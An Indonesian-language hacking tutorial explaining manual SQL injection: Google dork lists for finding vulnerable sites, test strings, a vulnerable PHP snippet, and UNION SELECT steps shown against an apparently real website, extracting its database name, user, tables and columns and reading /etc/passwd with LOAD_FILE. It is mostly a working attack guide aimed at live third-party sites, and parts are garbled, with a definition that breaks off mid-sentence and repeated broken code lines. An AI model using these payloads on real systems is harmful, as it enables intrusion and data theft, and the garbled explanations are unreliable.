I. Pengertian
Sedikit penjelasan, apakah yang dimaksud dengan SQL injection..?? SQL injection adalah
serangan yang memanfaatkan kelalaian dari website yang mengijinkan user untuk
menginputkan data tertentu tanpa melakukan filter terhadap malicious character. Inputan
tersebut biasanya di masukan pada box search atau bagian-bagian tertentu dari website yang
berinteraksi dengan database SQL dari situs tersebut. Perintah yang dimasukan para attacker
biasanya adalah sebuah data yang mengandung link tertentu yang mengarahkan para korban ke
website khusus yang digunakan para attacker untuk
serangan SQL injection, Anda dapat menggunakan aplikasi tambahan seperti NoScript yang
merupakan Add-ons untuk aplikasi web browser Firefox. Meskipun tidak terlalu sempurna,
setidaknya Anda dapat mengurangi kemungkinan Anda menjadi korban.
2. bagaimana kita menemukan website yang vuln (kali ini saya menggunakan Google)?
dalam Google terdapat banyak sekali kata kunci untuk menemukan website yang vuln
ada beberapa contoh kata kunci untuk menemukan website yang vuln :
inurl:content.php?id=
inurl:index.php?id=
inurl:main.php?id=
inurl:streampage.php?id=
inurl:base.php?id=
inurl:content.php?id=
inurl:catalog.php?id=
inurl:view.php?id=
inurl:detail.php?id=
inurl:page.php?id=
3. mencari vuln
situs.com/index.php?id=1
jika keluar halaman seperti id=1, mungkin itu merupakan vuln website
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu
mengandung vulnerable
d. situs.com/index.php?id=1+order+by+1--+
situs.com/index.php?id=1+order+by+1000+--+
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu
mengandung vulnerable
e. situs.com/index.php?id=1
situs.com/index.php?id=2-1
f. situs.com/index.php?id=1
situs.com/index.php?id=1*1
g. situs.com/index.php?id=
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu
mengandung vulnerable
h. mysite.com/index.php?id=1'
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu
mengandung vulnerable
i. mysite.com/index.php?id=1malingsial
j. situs.com/index.php?id=1)/*
k. situs.com/index.php?id=1')--+
l. situs.com/index.php?id=1"/*
m. situs.com/index.php?id=1))—+
website yang vuln tidak hanya pada query ini aja "index.php?id=1:
situs.com/index.php/id/6/
situs.com/index.HTM?id=1
okee agar dapat dimengerti, anda harus mempunyai kemampuan dalam pemrograman PHP dan
MySql
disini saya akan menulis script PHP yang simple dengan vulnerable
$q = "SELECT id,info FROM mytable WHERE id=".$id;
$r = mysql_query($q);
$result = mysql_fetch_row($r);
info".$result[1];
$r = mysql_query($q);
$result = mysql_fetch_row($r);
info".$result[1];
$r = mysql_query($q);
$result = mysql_fetch_row($r);
info".$result[1];
$r = mysql_query($q);
$result = mysql_fetch_row($r);
info".$result[1];
atau
$q = "SELECT id,info FROM mytable WHERE id=' ".addslashes($id)." ' "; //without spaces
$r = mysql_query($q);
$result = mysql_fetch_row($r);
info".$result[1];
jika anda mengetikan id=1+and+1=2 maka akan diterima id=1 atau jika anda mengetikan 1'
maka akan menerima 1 juga.
itu berarti anda dapat menjebol website tersebut dengan metode SQL-Injection.
4. Mencari nomor kolom. dalam hal ini ada 2 untuk mencari nomor kolom:
a. situs.com/index.php?id=1+and+1=2+UNION+SELECT+1+--+
situs.com/index.php?id=1+and+1=2+UNION+SELECT+1,2+--+
situs.com/index.php?id=1+and+1=2+UNION+SELECT+1,2,3+—+
apakah jumlahnya lebih tinggi sedangkan anda tidak melihat angka..? (mungkin terdapat dalam
source code)
b. menggunakan perintah " order by" (digunakan untuk mengurutkan kolom berdasarkan angka).
situs.com/index.php?id=1+order+by+50+--+
...
jika tidak keluar error, contoh, kita anda mengetikan order+by+10, dan keluar error ketika anda
mengetikan order+by+11+--+ berarti query tersebut hanya mempunyai 10 kolom.
jika anda menemukan nomor kolom (dalam hal ini 10) maka perintah yang harus diketikan :
situs.com/index.php?id=1+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10+—+
atau
http://www.ewpa-majs...ECT+1,2,3,4+--+
tapi sebelum itu, kita harus mencari database, user dan versi MySqlnya.
http://www.ewpa-majs...concat(version(),0x3a,database(),0x3a,user()),4+--+
version()=@@version
user()=CURRENT_USER
database : ewpa_majster01
user : ewpa_majster01@127.0.0.1
http://www.ewpa-majs...cat(schema_name),4+from+information_schema.schemata+--+
http://www.ewpa-majs...ncat(table_name),4+from+information_schema.tables+--+
karna cukup banyak nama tabelnya jadi saya tidak menulisnya disini...
http://www.ewpa-
majs...ncat(table_name),4+from+information_schema.tables+where+table_schema<>0x696e66
6f726d6174696f6e5f736368656d61+--+
http://www.ewpa-
majs...ncat(table_name),4+from+information_schema.tables+where+table_schema=database()
+--+
kemudian kita harus menemukan kolomnya (dalam contoh saya mengambil tabel ewpa_user):
http://www.ewpa-
majs...cat(column_name),4+from+information_schema.columns+where+table_name=0x657770
615f75736572+—+
Kemudian Langkah Selanjutnya adalah mengeluarkan seluruh isi kolom yang ada di dalam tabel
jika anda ingin mengeluarkan hanya 1 per 1 isi kolom saja, gunakan syntax : LIMIT
[row],columns_count:
Berikut contohnya :
http://www.ewpa-majs...a+LIMIT+0,4+--+ http://www.ewpa-majs...a+LIMIT+1,4+--+
http://www.ewpa-majs...a+LIMIT+2,4+—+
Jika Keluar Error : "Illegal mix of collations" anda harus menggunakan perintah unhex(hex())
(contoh : unhex(hex(database())))
situs.com/index.php?id=-1+union+select+1,2,LOAD_FILE('etc/passwd'),4+—+
atau
situs.com/index.php?id=-1+union+select+1,2,LOAD_FILE(0x2f6574632f706173737764),4+—+
contoh : http://www.webnewshu...32f706173737764),3+--+&rcid=2
jika anda mempunya password r00t anda bisa melakukan apapun diserver itu.. (contoh
menggunakan program telnet)
6. 2 query jika anda menginject website dengan 2 query anda tidak perlu menemukan nomor
kolom lagi, karna akan keluar error :
>v5.0.12
NAME_CONST(nama,value)
Sekian Sedikit Penjelasan Saya Tentang "Pengertian SQL Injection & Cara
Mengimplementasikannya" ....
Saya Mr.R Bakal Kembali Lagi Dengan Pembahasan Sql Injection Manual :D
Untuk yg mau Request materi tentang sql injection manual silakan tinggalkan jejak kalian :D
Soo You could be a psychologist without you having to be a psychology student, just like being a
programmer without him being a student in a university. It's not just a dream for you, all you can
only by reading. Trus me, Reading will make dreams come true